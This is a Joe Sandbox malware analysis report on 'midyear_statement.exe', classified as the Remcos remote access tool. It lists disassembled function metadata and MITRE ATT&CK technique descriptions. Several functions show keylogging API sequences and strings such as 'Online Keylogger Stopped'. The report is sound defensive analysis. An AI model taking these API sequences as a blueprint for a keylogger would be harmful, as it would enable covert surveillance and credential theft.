API ID: _strlen
String ID: : $Se.
API String ID: 4218353326-4089948878
Opcode ID: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
Instruction ID: 49ae106f25e449103ceba9b15f5dd1f4556a04309f373c75336c8a38c81c8876
Opcode Fuzzy Hash: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
Instruction Fuzzy Hash: EC110A75A00389AEDF11CFA8D841BDDFBFCEF19208F244056E645E7252E6706B02C765

Uniqueness

Uniqueness Score: -1.00%

Function 005982DF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00598303

Strings

cF, xrefs: 005982F8
$, xrefs: 0059831D

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _wcslen
String ID: $$cF
API String ID: 176396367-3386849937
Opcode ID: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
Instruction ID: fd719cc48284dd5d84fcf129696db2a4c355d4fde6e48cfede0ea8cd22c2193a
Opcode Fuzzy Hash: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
Instruction Fuzzy Hash: 9111C671914219ABCF10E6989C49FDEBBBCAF48710F250067F804B3241EA788A448A66

Uniqueness

Uniqueness Score: -1.00%

Function 1233B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 1233B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 1233B172
Part of subcall function 1233B164: wsprintfW.USER32 ref: 1233B1F3

Part of subcall function 1234B4EF: GetLocalTime.KERNEL32(00000000), ref: 1234B509

CloseHandle.KERNEL32(?), ref: 1233B0B4
UnhookWindowsHookEx.USER32 ref: 1233B0C7

Strings

Online Keylogger Stopped, xrefs: 1233B061, 1233B069, 1233B090

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
String ID: Online Keylogger Stopped
API String ID: 1623830855-1496645233
Opcode ID: 0ca69f09bdd1a2910762349e98f7bf3dc20463767c10de209a55e024eb12998e
Instruction ID: 195fde748c64d5dee48657937eb66e762bcb2b8b2804fed3eeb8f0dbb2ca571d
Opcode Fuzzy Hash: 0ca69f09bdd1a2910762349e98f7bf3dc20463767c10de209a55e024eb12998e
Instruction Fuzzy Hash: 1D01283BA002445BDB777B34CC0A3BE7BB6AB82302F40055CD486065D5FB712A49D7D2

Uniqueness

Uniqueness Score: -1.00%

Function 14641EDE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 14642903

Part of subcall function 146435D2: RaiseException.KERNEL32(?,?,?,14642925,00000000,00000000,00000000,?,?,?,?,?,14642925,?,146521B8), ref: 14643632

__CxxThrowException@8.LIBVCRUNTIME ref: 14642920

Strings

Unknown exception, xrefs: 1464292D

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: b44aed1bafc873f8cc5f07ccf3280c10b9ea5bcd0f62386202f38d61d2ef37a4
Instruction ID: 6d2d7967ebad6924780a51402dee037bb3723edb2de536b80faa876b9278052c
Opcode Fuzzy Hash: b44aed1bafc873f8cc5f07ccf3280c10b9ea5bcd0f62386202f38d61d2ef37a4
Instruction Fuzzy Hash: F5F0C838A0020D779F05ABE5EC4499E776C6F206DCB784570FA14A6890EF31F95AC9D4

Uniqueness

Uniqueness Score: -1.00%

Function 005D456E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005D45BC

Strings

$G, xrefs: 005D45A2

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID: $G
API String ID: 269201875-4251033865
Opcode ID: 061f1d377262398e84625751e00800f7b3b9231d747b7f71bcbf8f837b64f860
Instruction ID: 65ae12a0bbb77d7111a4b2686b8bd43d871b0f7c6cb24c10c74fdbe4ddc521ba
Opcode Fuzzy Hash: 061f1d377262398e84625751e00800f7b3b9231d747b7f71bcbf8f837b64f860
Instruction Fuzzy Hash: 8EE0E53290551203E675623E7E0D75F1E85BBC2772F114237F428963D1DFB449428A9A

Uniqueness

Uniqueness Score: -1.00%

Function 005D45C7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005D4610

Strings

$G, xrefs: 005D45F6

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID: $G
API String ID: 269201875-4251033865
Opcode ID: 0ad43b1214ad8572508d9786c92e0b088e9d3dbafa2474dd36ac496255489d68
Instruction ID: 9552a1c3b6874f3b35d82d20e642e8e1b80b78437438d76a6889578b38d52f9c
Opcode Fuzzy Hash: 0ad43b1214ad8572508d9786c92e0b088e9d3dbafa2474dd36ac496255489d68
Instruction Fuzzy Hash: DBE02B32A0955203E679727D7D097AB0D467BC2331F104237F015963D1DFB48881C999

Uniqueness

Uniqueness Score: -1.00%

Function 00594BD3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00594BD8

Strings

}E, xrefs: 00594BD3
NG, xrefs: 00594BE1

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: NG$}E
API String ID: 3519838083-2251168990
Opcode ID: e7d40fc07d034a65060cda002aaf1e1ab51435aa3cf8f9fa75cdf93eab53bb7f
Instruction ID: 3844c4a14d6efa5c7fb7a379758fd0200408d731ddbe07096c633af21b92c9e9
Opcode Fuzzy Hash: e7d40fc07d034a65060cda002aaf1e1ab51435aa3cf8f9fa75cdf93eab53bb7f
Instruction Fuzzy Hash: FBF09A72E012199ACB14AF9E990ABAEFF78FF84720F10025BE81863281C7740E018AD1

Uniqueness

Uniqueness Score: -1.00%

Function 1233B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000011), ref: 1233B64B

Part of subcall function 1233A3E0: GetForegroundWindow.USER32(?,?,123A50F0), ref: 1233A416
Part of subcall function 1233A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 1233A422
Part of subcall function 1233A3E0: GetKeyboardLayout.USER32(00000000), ref: 1233A429
Part of subcall function 1233A3E0: GetKeyState.USER32(00000010), ref: 1233A433
Part of subcall function 1233A3E0: GetKeyboardState.USER32(?,?,123A50F0), ref: 1233A43E
Part of subcall function 1233A3E0: ToUnicodeEx.USER32(123A5144,0000005B,?,?,00000010,00000000,00000000), ref: 1233A461
Part of subcall function 1233A3E0: ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 1233A4C1

Part of subcall function 1233A636: SetEvent.KERNEL32(?,?,00000000,1233B20A,00000000), ref: 1233A662

Strings

[AltL], xrefs: 1233B68D
[AltR], xrefs: 1233B681

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
String ID: [AltL]$[AltR]
API String ID: 2738857842-2658077756
Opcode ID: 48b3f90fb1748fadbea9d1de3d0ce0df700c83369ed6ae93f87a71d4885d3a64
Instruction ID: 91462aa76307a1ad6391febe6cbe5bc0e2e0f0637add51286ad94d97b4d33bf2
Opcode Fuzzy Hash: 48b3f90fb1748fadbea9d1de3d0ce0df700c83369ed6ae93f87a71d4885d3a64
Instruction Fuzzy Hash: 05E09B37B401101788AE323D5D5AAFD3E528742752B42024DE4434B789ED5A5F0683C2

Uniqueness

Uniqueness Score: -1.00%

Function 00409573 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 0040958C

Part of subcall function 0040A78C: GetModuleFileNameA.KERNEL32(00000000,?,00000050,Semaphore error ,?), ref: 0040A7B5

Strings

?, xrefs: 00409573
Error: system code page access failure; MBCS table not initialized, xrefs: 00409595

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: FileInfoModuleName
String ID: ?$Error: system code page access failure; MBCS table not initialized
API String ID: 3255085701-1671459530
Opcode ID: 01c8b085e7354c6c1099acb78eb840c0f92e9d90cdbeeddb2b530a87d954120d
Instruction ID: bfbfaf34202878cd0a96e321562c83a51502f64d6fd78a4a08c8a71b0c9657dd
Opcode Fuzzy Hash: 01c8b085e7354c6c1099acb78eb840c0f92e9d90cdbeeddb2b530a87d954120d
Instruction Fuzzy Hash: 62E0DF6280A64A2AD70221648C41AA77B5C8F0232AF1402B3E924E61D3E62D8E0083EB

Uniqueness

Uniqueness Score: -1.00%

Function 1233B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000012), ref: 1233B6A5

Strings

[CtrlL], xrefs: 1233B6D3
[CtrlR], xrefs: 1233B6C2

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: State
String ID: [CtrlL]$[CtrlR]
API String ID: 1649606143-2446555240
Opcode ID: f21b2f929f6c8e2d6f7c1629812bb4db8df759e3c5bc409d7a1e49115376e17f
Instruction ID: 58f6baf7acb51db94e4274af01a63450c793b807b7f45f7d566a8a1904be2f01
Opcode Fuzzy Hash: f21b2f929f6c8e2d6f7c1629812bb4db8df759e3c5bc409d7a1e49115376e17f
Instruction Fuzzy Hash: 40E0CD33A011111BC96E363D4F1D7FC2F168B82292F42020DF4838B69BED568B11D7C2

Uniqueness

Uniqueness Score: -1.00%

Function 0059F581 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 005C5552: __onexit.LIBCMT ref: 005C5558

__Init_thread_footer.LIBCMT ref: 005A1D0B

Strings

0kG, xrefs: 005A1D13
,kG, xrefs: 005A1CE6

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Init_thread_footer__onexit
String ID: ,kG$0kG
API String ID: 1881088180-2015055088
Opcode ID: 55ded91c2411799c93627b1e27181bc6755349442ad5772556d3e3dbb5a5a571
Instruction ID: fa162afc169b4d982a46583850e549c3b03ac5f59b02308c78e51531900cb38f
Opcode Fuzzy Hash: 55ded91c2411799c93627b1e27181bc6755349442ad5772556d3e3dbb5a5a571
Instruction Fuzzy Hash: F3E09231104E229EC214A3A8954AF482BD5BB4B320B61412AE005D61C29B167881CA6C

Uniqueness

Uniqueness Score: -1.00%

Function 0040743C Relevance: 5.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc8db77216e60d19f390f47f386b6f304388046b032368241243d8297744557c
Instruction ID: 81a548d4465a01d89e05e935b5bf454d031e67836b0f148a885440edf5cc608a
Opcode Fuzzy Hash: dc8db77216e60d19f390f47f386b6f304388046b032368241243d8297744557c
Instruction Fuzzy Hash: 2731BB30B0C202ABD7209A698C90B677B65DB45324F24463BF925E73E1D679FC02C75A

Uniqueness

Uniqueness Score: -1.00%

Function 004049EE Relevance: 5.1, Strings: 4, Instructions: 65COMMON

Download Yara Rule

Strings

{0@, xrefs: 004049F3
addr, xrefs: 00404A0A
XXTYPE.CPP, xrefs: 00404A05
{0@, xrefs: 00404A37

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: XXTYPE.CPP$addr${0@${0@
API String ID: 0-3664494418
Opcode ID: f30a36144bb8e67d7eba4712a6663792dfa89ab3e2c662a94ad679e1016c065a
Instruction ID: 0f30cb6d4a7d6e4f212690203bc932f43668cc5df22956ab8a5bf4b8ef741d28
Opcode Fuzzy Hash: f30a36144bb8e67d7eba4712a6663792dfa89ab3e2c662a94ad679e1016c065a
Instruction Fuzzy Hash: AF116AB1A40206ABDB00CE95C941B6A77A9EB90314F24843AEE04673C1E779AD109F59

Uniqueness

Uniqueness Score: -1.00%

Function 00404A90 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

Can't adjust class address (no base class entry found), xrefs: 00404AE4
{0@, xrefs: 00404A95, 00404AB0, 00404ACF
!"Can't adjust class address (no base class entry found)", xrefs: 00404AF7
XXTYPE.CPP, xrefs: 00404AF2

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: !"Can't adjust class address (no base class entry found)"$Can't adjust class address (no base class entry found)$XXTYPE.CPP${0@
API String ID: 0-3684756677
Opcode ID: f9859a6ca1c982f611af58de7c52229e8db2feff2a37b002e116c0afe2703076
Instruction ID: 723260384d7068f6cc0ec79a1caf53075dfb55dfbb91f14899e0998c661f9cee
Opcode Fuzzy Hash: f9859a6ca1c982f611af58de7c52229e8db2feff2a37b002e116c0afe2703076
Instruction Fuzzy Hash: F80171F160021477DF10DE56CC46BA737689B90754F148833FE04AA2C1F679EA60C6A9

Uniqueness

Uniqueness Score: -1.00%

Function 00403C74 Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

XX.CPP, xrefs: 00403C8D
((unsigned __far *)vftAddr)[-1] == 0, xrefs: 00403CD7
IS_CLASS(varType->tpMask), xrefs: 00403C92
XX.CPP, xrefs: 00403CD2

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: ((unsigned __far *)vftAddr)[-1] == 0$IS_CLASS(varType->tpMask)$XX.CPP$XX.CPP
API String ID: 0-3977902411
Opcode ID: 61763480cd6257e8be5fbce5af339ccb4a5bfa797259b2e01149b7d09099d994
Instruction ID: ab0ab24eaa1a4e5197c49b6a77655fdb4534cdab7851837468e2e9b88c36b534
Opcode Fuzzy Hash: 61763480cd6257e8be5fbce5af339ccb4a5bfa797259b2e01149b7d09099d994
Instruction Fuzzy Hash: A201D8327443109BEB108E5AC8C9B18FB689B45725F148177E914BF3C9C2796D10C7A9

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report midyear_statement.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Remcos

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Privilege Escalation

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

